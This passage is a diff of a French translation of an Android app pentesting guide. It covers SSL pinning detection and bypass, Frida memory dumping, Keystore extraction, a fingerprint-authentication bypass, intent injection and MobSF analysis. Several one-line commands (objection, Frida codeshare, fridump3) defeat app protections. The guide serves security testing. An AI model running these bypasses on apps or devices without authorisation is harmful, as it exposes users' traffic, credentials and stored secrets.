Ă©tapes dĂ©taillĂ©es sur la vĂ©rification des certificats serveurs et la correction des vulnĂ©rabilitĂ©s, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) fournit des conseils complets. #### SSL Pinning -SSL Pinning est une mesure de sĂ©curitĂ© oĂč l'application vĂ©rifie le certificat du serveur par rapport Ă  une copie connue stockĂ©e dans l'application elle-mĂȘme. Cette mĂ©thode est essentielle pour prĂ©venir les attaques MITM. ImplĂ©menter SSL Pinning est fortement recommandĂ© pour les applications manipulant des informations sensibles. +SSL Pinning est une mesure de sĂ©curitĂ© oĂč l'application vĂ©rifie le certificat du serveur par rapport Ă  une copie connue stockĂ©e dans l'application elle-mĂȘme. Cette mĂ©thode est essentielle pour prĂ©venir les attaques MITM. Il est fortement recommandĂ© d'implĂ©menter SSL Pinning pour les applications manipulant des informations sensibles. -#### Traffic Inspection +#### Inspection du trafic -Pour inspecter le trafic HTTP, il est nĂ©cessaire d'**installer le certificat de l'outil proxy** (par ex., Burp). Sans l'installation de ce certificat, le trafic chiffrĂ© pourrait ne pas ĂȘtre visible via le proxy. Pour un guide sur l'installation d'un certificat CA personnalisĂ©, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Pour inspecter le trafic HTTP, il est nĂ©cessaire d'**installer le certificat du proxy** (par ex. Burp). Sans installer ce certificat, le trafic chiffrĂ© pourrait ne pas ĂȘtre visible via le proxy. Pour un guide sur l'installation d'un CA personnalisĂ©, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). Les applications ciblant **API Level 24 and above** nĂ©cessitent des modifications du Network Security Config pour accepter le certificat CA du proxy. Cette Ă©tape est critique pour inspecter le trafic chiffrĂ©. Pour des instructions sur la modification du Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -Si **Flutter** est utilisĂ© vous devez suivre les instructions sur [**this page**](flutter.md). Ceci est parce que, simplement ajouter le certificat dans le store ne fonctionnera pas car Flutter a sa propre liste de CAs valides. +Si **Flutter** est utilisĂ©, vous devez suivre les instructions sur [**this page**](flutter.md). Cela s'explique par le fait que, simplement ajouter le certificat dans le store ne fonctionnera pas car Flutter a sa propre liste de CAs valides. -#### Static detection of SSL/TLS pinning +#### DĂ©tection statique du SSL/TLS pinning -Avant d'essayer des contournements Ă  l'exĂ©cution, cartographiez rapidement oĂč le pinning est appliquĂ© dans l'APK. La dĂ©couverte statique vous aide Ă  planifier les hooks/patches et Ă  vous concentrer sur les bons code paths. +Avant d'essayer des contournements runtime, cartographiez rapidement oĂč le pinning est appliquĂ© dans l'APK. La dĂ©couverte statique vous aide Ă  planifier des hooks/patches et Ă  vous concentrer sur les bons chemins de code. Tool: SSLPinDetect -- Utilitaire open-source d'analyse statique qui dĂ©compile l'APK en Smali (via apktool) et scanne des motifs regex sĂ©lectionnĂ©s des implĂ©mentations de SSL/TLS pinning. -- Rapporte le chemin de fichier exact, le numĂ©ro de ligne et un extrait de code pour chaque correspondance. -- Couvre les frameworks courants et les code paths personnalisĂ©s : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, et les pins Network Security Config XML. +- Open-source static-analysis utility qui dĂ©compile l'APK en Smali (via apktool) et scanne des motifs regex sĂ©lectionnĂ©s d'implĂ©mentations de SSL/TLS pinning. +- Rapporte le chemin exact du fichier, le numĂ©ro de ligne, et un snippet de code pour chaque correspondance. +- Couvre des frameworks courants et des chemins de code personnalisĂ©s : OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, et Network Security Config XML pins. Install - Prereqs: Python >= 3.8, Java on PATH, apktool @@ -463,8 +465,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` Exemples de rĂšgles de pattern (JSON) - -Utilisez ou Ă©tendez des signatures pour dĂ©tecter des styles de pinning propriĂ©taires/personnalisĂ©s. Vous pouvez charger votre propre JSON et scanner Ă  grande Ă©chelle. +Utilisez ou Ă©tendez des signatures pour dĂ©tecter des styles de pinning propriĂ©taires/personnalisĂ©s. Vous pouvez charger votre propre JSON et effectuer des analyses Ă  grande Ă©chelle. ```json { "OkHttp Certificate Pinning": [ @@ -478,43 +479,43 @@ Utilisez ou Ă©tendez des signatures pour dĂ©tecter des styles de pinning propri ] } ``` -Notes and tips -- Analyse rapide des grandes apps via multi-threading et I/O mĂ©moire mappĂ©e ; les regex prĂ©compilĂ©es rĂ©duisent la surcharge/les faux positifs. +Notes et astuces +- Analyse rapide des grandes applications via multi-threading et I/O mappĂ©e en mĂ©moire ; les regex prĂ©-compilĂ©es rĂ©duisent la surcharge / les faux positifs. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Typical detection targets to triage next: -- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references -- Custom TrustManagers: javax.net.ssl.X509TrustManager, surcharges de checkServerTrusted -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers -- Declarative pins in res/xml network security config and manifest references -- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing. +- Cibles de dĂ©tection typiques Ă  trier ensuite : +- OkHttp: utilisation de CertificatePinner, setCertificatePinner, rĂ©fĂ©rences de package okhttp3/okhttp +- TrustManagers personnalisĂ©s: javax.net.ssl.X509TrustManager, overrides de checkServerTrusted +- Contextes SSL personnalisĂ©s: SSLContext.getInstance + SSLContext.init avec des managers personnalisĂ©s +- Pins dĂ©claratifs dans res/xml network security config et rĂ©fĂ©rences dans le manifest +- Utilisez les emplacements identifiĂ©s pour planifier des hooks Frida, des patchs statiques, ou des revues de configuration avant les tests dynamiques. -#### Bypassing SSL Pinning +#### Contournement de SSL Pinning -Quand SSL Pinning est implĂ©mentĂ©, le bypass devient nĂ©cessaire pour inspecter le trafic HTTPS. DiffĂ©rentes mĂ©thodes sont disponibles pour ça : +Lorsque SSL Pinning est implĂ©mentĂ©, le contourner devient nĂ©cessaire pour inspecter le trafic HTTPS. Plusieurs mĂ©thodes sont disponibles pour cela : -- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour bypass SSL Pinning, mais il faudra dĂ©sinstaller l'application et rĂ©installer la nouvelle, et cela ne fonctionnera pas toujours. -- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) -- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatiquement **modifier** le **apk** pour **bypasser** SSLPinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour bypasser le SSL Pinning, mais vous devrez supprimer l'application et rĂ©installer la nouvelle, et cela ne fonctionnera pas toujours. +- Vous pouvez utiliser **Frida** (discutĂ© ci-dessous) pour bypasser cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Vous pouvez aussi essayer de **bypasser automatiquement SSL Pinning** en utilisant **MobSF dynamic analysis** (expliquĂ© ci-dessous) +- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Looking for Common Web Vulnerabilities +#### Recherche de vulnĂ©rabilitĂ©s web courantes -Il est important de rechercher aussi des vulnĂ©rabilitĂ©s web courantes dans l'application. Les dĂ©tails sur l'identification et l'attĂ©nuation de ces vulnĂ©rabilitĂ©s dĂ©passent le cadre de ce rĂ©sumĂ© mais sont largement traitĂ©s ailleurs. +Il est Ă©galement important de rechercher des vulnĂ©rabilitĂ©s web courantes dans l'application. Des informations dĂ©taillĂ©es sur l'identification et l'attĂ©nuation de ces vulnĂ©rabilitĂ©s dĂ©passent le cadre de ce rĂ©sumĂ© mais sont couvertes de maniĂšre exhaustive ailleurs. ### Frida [Frida](https://www.frida.re) est un toolkit d'instrumentation dynamique pour dĂ©veloppeurs, reverse-engineers, et chercheurs en sĂ©curitĂ©.\ -**Vous pouvez accĂ©der Ă  l'application en cours d'exĂ©cution et hooker des mĂ©thodes Ă  l'exĂ©cution pour modifier le comportement, changer des valeurs, extraire des valeurs, exĂ©cuter un code diffĂ©rent...**\ -Si vous voulez pentest des applications Android vous devez savoir utiliser Frida. +**Vous pouvez accĂ©der Ă  l'application en cours d'exĂ©cution et hooker des mĂ©thodes Ă  l'exĂ©cution pour modifier le comportement, changer des valeurs, extraire des valeurs, exĂ©cuter du code diffĂ©rent...**\ +Si vous voulez pentest des applications Android vous devez savoir comment utiliser Frida. -- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) +- Apprenez Ă  utiliser Frida : [**Frida tutorial**](frida-tutorial/index.html) +- Quelques "GUI" pour des actions avec Frida : [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection est excellent pour automatiser l'utilisation de Frida : [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Vous pouvez trouver quelques scripts Frida "Awesome" ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Essayez de contourner les mĂ©canismes anti-debugging / anti-frida en chargeant Frida comme indiquĂ© dans [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (outil [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -526,7 +527,7 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md VĂ©rifiez si l'application stocke des informations sensibles en mĂ©moire qu'elle ne devrait pas stocker, comme des mots de passe ou des mnĂ©moniques. -En utilisant [**Fridump3**](https://github.com/rootbsd/fridump3) vous pouvez effectuer un dump de la mĂ©moire de l'app avec: +En utilisant [**Fridump3**](https://github.com/rootbsd/fridump3) vous pouvez faire un dump de la mĂ©moire de l'app avec: ```bash # With PID python3 fridump3.py -u @@ -535,64 +536,64 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Cela va dump la mĂ©moire dans le dossier ./dump, et vous pouvez y faire un grep avec quelque chose comme : +Cela dumpera la mĂ©moire dans le dossier ./dump, et vous pourrez ensuite grep dedans avec quelque chose comme : ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **DonnĂ©es sensibles dans Keystore** -Sur Android, le Keystore est l'endroit idĂ©al pour stocker des donnĂ©es sensibles, cependant, avec suffisamment de privilĂšges il est toujours **possible d'y accĂ©der**. Comme les applications ont tendance Ă  stocker ici des **donnĂ©es sensibles en clear text**, les pentests devraient le vĂ©rifier en tant que root user, car quelqu'un ayant un accĂšs physique au pĂ©riphĂ©rique pourrait voler ces donnĂ©es. +Sur Android, le Keystore est l'endroit idĂ©al pour stocker des donnĂ©es sensibles, cependant, avec des privilĂšges suffisants il reste possible d'y accĂ©der. Comme les applications ont tendance Ă  y stocker des donnĂ©es sensibles en clear text, les pentests devraient vĂ©rifier cela en tant que root user, car une personne ayant un accĂšs physique Ă  l'appareil pourrait voler ces donnĂ©es. -MĂȘme si une app stocke des donnĂ©es dans le keystore, ces donnĂ©es doivent ĂȘtre chiffrĂ©es. +MĂȘme si une application stocke des donnĂ©es dans le Keystore, ces donnĂ©es doivent ĂȘtre chiffrĂ©es. -Pour accĂ©der aux donnĂ©es Ă  l'intĂ©rieur du keystore, vous pouvez utiliser ce script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Pour accĂ©der aux donnĂ©es dans le Keystore vous pouvez utiliser ce Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -En utilisant le script Frida suivant, il pourrait ĂȘtre possible de **bypass fingerprint authentication** mis en Ɠuvre par des applications Android pour **protĂ©ger certaines zones sensibles :** +En utilisant le script Frida suivant, il pourrait ĂȘtre possible de **bypass fingerprint authentication** que des applications Android effectuent afin de **protĂ©ger certaines zones sensibles :** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Images d'arriĂšre-plan** -Lorsque vous placez une application en arriĂšre-plan, Android enregistre un **instantanĂ© de l'application** : lorsqu'elle est ramenĂ©e au premier plan, l'image est chargĂ©e avant l'application pour donner l'impression que celle-ci s'est chargĂ©e plus rapidement. +Lorsque vous placez une application en arriĂšre-plan, Android stocke un **snapshot of the application** : lorsque celle-ci est ramenĂ©e au premier plan, il commence par charger l'image avant l'application, de sorte qu'il semble que l'application ait Ă©tĂ© chargĂ©e plus rapidement. -Cependant, si cet instantanĂ© contient des **informations sensibles**, une personne ayant accĂšs Ă  l'instantanĂ© pourrait **voler ces informations** (notez que vous avez besoin de root pour y accĂ©der). +Cependant, si ce snapshot contient des **informations sensibles**, quelqu'un ayant accĂšs au snapshot pourrait **voler ces informations** (notez qu'il faut un accĂšs root pour y accĂ©der). -Les instantanĂ©s sont gĂ©nĂ©ralement stockĂ©s Ă  : **`/data/system_ce/0/snapshots`** +Les snapshots sont gĂ©nĂ©ralement stockĂ©s Ă  : **`/data/system_ce/0/snapshots`** -Android fournit un moyen de **prĂ©venir la capture d'Ă©cran en dĂ©finissant le paramĂštre de layout FLAG_SECURE**. En utilisant ce flag, le contenu de la fenĂȘtre est traitĂ© comme sĂ©curisĂ©, l'empĂȘchant d'apparaĂźtre dans des captures d'Ă©cran ou d'ĂȘtre affichĂ© sur des Ă©crans non sĂ©curisĂ©s. +Android fournit un moyen d'empĂȘcher la capture de screenshot en dĂ©finissant le paramĂštre de layout FLAG_SECURE. En utilisant ce flag, le contenu de la fenĂȘtre est traitĂ© comme sĂ©curisĂ©, ce qui empĂȘche qu'il apparaisse dans des screenshots ou qu'il soit affichĂ© sur des Ă©crans non sĂ©curisĂ©s. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Cet outil peut vous aider Ă  gĂ©rer diffĂ©rents outils pendant l'analyse dynamique : [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Les dĂ©veloppeurs crĂ©ent souvent des composants proxy comme activities, services, et broadcast receivers qui gĂšrent ces Intents et les passent Ă  des mĂ©thodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut ĂȘtre risquĂ©. +Les dĂ©veloppeurs crĂ©ent souvent des composants proxy comme activities, services, et broadcast receivers qui traitent ces Intents et les passent Ă  des mĂ©thodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut ĂȘtre risquĂ©. -Le danger rĂ©side dans le fait de permettre aux attaquants de dĂ©clencher des composants d'application non-exportĂ©s ou d'accĂ©der Ă  des content providers sensibles en dĂ©tournant ces Intents. Un exemple notable est le composant `WebView` qui convertit les URLs en objets `Intent` via `Intent.parseUri(...)` puis les exĂ©cute, pouvant mener Ă  des injections d'Intent malveillantes. +Le danger rĂ©side dans le fait de permettre Ă  des attaquants de dĂ©clencher des composants d'application non-exportĂ©s ou d'accĂ©der Ă  des content providers sensibles en dĂ©tournant ces Intents. Un exemple notable est le composant `WebView` qui convertit des URLs en objets `Intent` via `Intent.parseUri(...)` puis les exĂ©cute, ce qui peut conduire Ă  des Intent injections malveillantes. -### Essential Takeaways +### Points essentiels -- **Intent Injection** est similaire au problĂšme d'Open Redirect sur le web. -- Les exploits impliquent de passer des objets `Intent` en tant qu'extras, qui peuvent ĂȘtre redirigĂ©s pour exĂ©cuter des opĂ©rations dangereuses. +- **Intent Injection** est similaire au problĂšme Open Redirect du web. +- Les exploits consistent Ă  passer des objets `Intent` comme extras, qui peuvent ĂȘtre redirigĂ©s pour exĂ©cuter des opĂ©rations dangereuses. - Cela peut exposer des composants non-exportĂ©s et des content providers aux attaquants. -- La conversion d'URL en `Intent` par le `WebView` peut faciliter des actions non prĂ©vues. +- La conversion d'URLs en `Intent` par `WebView` peut faciliter des actions non prĂ©vues. ### Injections cĂŽtĂ© client Android et autres -Vous connaissez probablement ce type de vulnĂ©rabilitĂ©s depuis le Web. Vous devez ĂȘtre particuliĂšrement prudent avec ces vulnĂ©rabilitĂ©s dans une application Android : +Vous connaissez probablement ce type de vulnĂ©rabilitĂ©s depuis le Web. Il faut ĂȘtre particuliĂšrement vigilant avec ces vulnĂ©rabilitĂ©s dans une application Android : -- **SQL Injection:** Lorsqu'on manipule des requĂȘtes dynamiques ou des Content-Providers, assurez-vous d'utiliser des requĂȘtes paramĂ©trĂ©es. -- **JavaScript Injection (XSS):** VĂ©rifiez que le support JavaScript et Plugin est dĂ©sactivĂ© pour tous les WebViews (dĂ©sactivĂ© par dĂ©faut). [Plus d'infos ici](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** Les WebViews devraient avoir l'accĂšs au systĂšme de fichiers dĂ©sactivĂ© (activĂ© par dĂ©faut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'infos ici](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas rĂ©voquĂ© ou peut mĂȘme ĂȘtre sauvegardĂ© sur le disque -- [**Secure Flag** dans les cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) +- **SQL Injection:** Lorsqu'on gĂšre des requĂȘtes dynamiques ou des Content-Providers, assurez-vous d'utiliser des requĂȘtes paramĂ©trĂ©es. +- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: Dans plusieurs cas, lorsque l'application Android termine la session le cookie n'est pas rĂ©voquĂ© ou il peut mĂȘme ĂȘtre enregistrĂ© sur le disque +- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -604,51 +605,51 @@ Vous connaissez probablement ce type de vulnĂ©rabilitĂ©s depuis le Web. Vous dev ![](<../../images/image (866).png>) -**Évaluation des vulnĂ©rabilitĂ©s de l'application** via une interface web agrĂ©able. Vous pouvez aussi effectuer une analyse dynamique (mais vous devez prĂ©parer l'environnement). +**Évaluation des vulnĂ©rabilitĂ©s de l'application** via une jolie interface web. Vous pouvez aussi effectuer une analyse dynamique (mais vous devez prĂ©parer l'environnement). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Remarquez que MobSF peut analyser **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -De plus, si vous crĂ©ez un fichier **ZIP** contenant le code source d'une application **Android** ou **IOS** (allez dans le dossier racine de l'application, sĂ©lectionnez tout et crĂ©ez un ZIPfile), il pourra aussi l'analyser. +Remarque: MobSF peut analyser **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Aussi, si vous crĂ©ez un fichier **ZIP** avec le code source d'une application **Android** ou **IOS** (allez dans le dossier racine de l'application, sĂ©lectionnez tout et crĂ©ez un ZIPfile), il pourra l'analyser Ă©galement. -MobSF permet Ă©galement de **diff/Compare** les analyses et d'intĂ©grer **VirusTotal** (vous devrez dĂ©finir votre clĂ© API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Vous pouvez aussi dĂ©finir `VT_UPLOAD` Ă  `False`, alors le **hash** sera **upload** au lieu du fichier. +MobSF permet aussi de faire un **diff/Compare** des analyses et d'intĂ©grer **VirusTotal** (vous devrez dĂ©finir votre API key dans _MobSF/settings.py_ et l'activer: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Vous pouvez aussi mettre `VT_UPLOAD` Ă  `False`, dans ce cas le **hash** sera **upload** au lieu du fichier. ### Assisted Dynamic analysis with MobSF -**MobSF** peut aussi ĂȘtre trĂšs utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas vous devrez installer MobSF et **genymotion** sur votre hĂŽte (une VM ou Docker ne fonctionneront pas). _Note : Vous devez **dĂ©marrer d'abord une VM dans genymotion** puis **MobSF.**_\ -L'**analyseur dynamique MobSF** peut : +**MobSF** peut aussi ĂȘtre trĂšs utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas vous devrez installer MobSF et **genymotion** sur votre machine hĂŽte (une VM ou Docker ne fonctionnera pas). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +Le **MobSF dynamic analyser** peut : -- **Dump application data** (URLs, logs, clipboard, captures d'Ă©cran faites par vous, captures d'Ă©cran faites par "**Exported Activity Tester**", emails, bases de donnĂ©es SQLite, fichiers XML, et autres fichiers créés). Tout ceci est fait automatiquement sauf pour les captures d'Ă©cran : vous devez appuyer quand vous voulez une capture d'Ă©cran ou appuyer sur "**Exported Activity Tester**" pour obtenir les captures d'Ă©cran de toutes les activitĂ©s exportĂ©es. +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Tout cela est fait automatiquement sauf pour les captures d'Ă©cran : vous devez appuyer lorsque vous voulez une capture d'Ă©cran ou appuyer sur "**Exported Activity Tester**" pour obtenir des captures de toutes les activitĂ©s exportĂ©es. - Capturer le **HTTPS traffic** -- Utiliser **Frida** pour obtenir des **runtime** **information** +- Utiliser **Frida** pour obtenir des informations **runtime** -À partir des versions Android **> 5**, il **dĂ©marrera automatiquement Frida** et configurera les paramĂštres de **proxy** globaux pour **capture** le traffic. Il ne capturera le traffic que de l'application testĂ©e. +À partir des versions Android **> 5**, il lancera **automatically Frida** et dĂ©finira les paramĂštres de **proxy** globaux pour **capture** le trafic. Il ne capturera que le trafic de l'application testĂ©e. **Frida** -Par dĂ©faut, il utilisera aussi certains Frida Scripts pour **bypass SSL pinning**, **root detection** et **debugger detection** et pour **monitor interesting APIs**.\ +Par dĂ©faut, il utilisera aussi quelques Frida Scripts pour **bypass SSL pinning**, **root detection** et **debugger detection** et pour **monitor interesting APIs**.\ MobSF peut aussi **invoke exported activities**, prendre des **screenshots** de celles-ci et les **save** pour le rapport. -Pour **start** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les logs gĂ©nĂ©rĂ©s par les Frida scripts et "**Live API Monitor**" pour voir toutes les invocations des mĂ©thodes hookĂ©es, les arguments passĂ©s et les valeurs retournĂ©es (cela apparaĂźtra aprĂšs avoir appuyĂ© sur "Start Instrumentation").\ -MobSF permet aussi de charger vos propres **Frida scripts** (pour envoyer les rĂ©sultats de vos scripts Frida Ă  MobSF utilisez la fonction `send()`). Il propose Ă©galement **plusieurs scripts prĂ©-Ă©crits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sĂ©lectionner**, d'appuyer sur "**Load**" puis sur "**Start Instrumentation**" (vous pourrez voir les logs de ces scripts dans "**Frida Live Logs**"). +Pour **start** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les logs gĂ©nĂ©rĂ©s par les Frida scripts et sur "**Live API Monitor**" pour voir toutes les invocations vers les mĂ©thodes hookĂ©es, les arguments passĂ©s et les valeurs retournĂ©es (cela apparaĂźtra aprĂšs avoir appuyĂ© sur "Start Instrumentation").\ +MobSF permet Ă©galement de charger vos propres **Frida scripts** (pour envoyer les rĂ©sultats de vos Frida scripts Ă  MobSF utilisez la fonction `send()`). Il propose aussi **several pre-written scripts** que vous pouvez charger (vous pouvez en ajouter dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sĂ©lectionner**, appuyer sur "**Load**" et appuyer sur "**Start Instrumentation**" (vous pourrez voir les logs de ces scripts dans "**Frida Live Logs**"). ![](<../../images/image (419).png>) -De plus, vous avez quelques fonctionnalitĂ©s auxiliaires Frida : +De plus, vous disposez de quelques fonctionnalitĂ©s auxiliaires Frida : - **Enumerate Loaded Classes** : Affiche toutes les classes chargĂ©es -- **Capture Strings** : Affiche toutes les strings capturĂ©es lors de l'utilisation de l'application (trĂšs bruyant) +- **Capture Strings** : Affiche toutes les chaĂźnes capturĂ©es pendant l'utilisation de l'application (trĂšs bruyant) - **Capture String Comparisons** : Peut ĂȘtre trĂšs utile. Il **montrera les 2 strings comparĂ©es** et si le rĂ©sultat Ă©tait True ou False. - **Enumerate Class Methods** : Indiquez le nom de la classe (comme "java.io.File") et il affichera toutes les mĂ©thodes de la classe. - **Search Class Pattern** : Recherche des classes par pattern -- **Trace Class Methods** : **Trace** une **classe entiĂšre** (voir les entrĂ©es et sorties de toutes les mĂ©thodes de la classe). Rappelez-vous que par dĂ©faut MobSF trace plusieurs mĂ©thodes Android intĂ©ressantes. +- **Trace Class Methods** : **Trace** une **classe entiĂšre** (voir les entrĂ©es et sorties de toutes les mĂ©thodes de la classe). Rappelez-vous que par dĂ©faut MobSF trace plusieurs mĂ©thodes API Android intĂ©ressantes. Une fois que vous avez sĂ©lectionnĂ© le module auxiliaire que vous voulez utiliser, vous devez appuyer sur "**Start Intrumentation**" et vous verrez toutes les sorties dans "**Frida Live Logs**". **Shell** -MobSF apporte aussi un shell avec quelques commandes **adb**, **MobSF commands**, et commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intĂ©ressantes : +MobSF fournit aussi un shell avec quelques commandes **adb**, commandes **MobSF**, et des commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intĂ©ressantes : ```bash help shell ls @@ -659,32 +660,32 @@ receivers ``` **Outils HTTP** -Lorsque le trafic http est capturĂ©, vous pouvez voir une vue brute du trafic capturĂ© sur le bouton "**HTTP(S) Traffic**" en bas ou une vue plus agrĂ©able dans le bouton vert "**Start HTTPTools**". Depuis la deuxiĂšme option, vous pouvez **envoyer** les **requĂȘtes capturĂ©es** vers des **proxies** comme Burp ou Owasp ZAP.\ -Pour ce faire, _dĂ©marrez Burp -->_ _dĂ©sactivez Intercept --> dans MobSB HTTPTools sĂ©lectionnez la requĂȘte_ --> appuyez sur "**Send to Fuzzer**" --> _sĂ©lectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Lorsque le trafic HTTP est capturĂ©, vous pouvez voir une vue brute du trafic capturĂ© via le bouton "**HTTP(S) Traffic**" ou une vue plus lisible via le bouton vert "**Start HTTPTools**". Avec la seconde option, vous pouvez **envoyer** les **requĂȘtes capturĂ©es** vers des **proxies** comme Burp ou Owasp ZAP.\ +Pour ce faire, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> appuyez sur "**Send to Fuzzer**" --> _sĂ©lectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Une fois que vous avez terminĂ© l'analyse 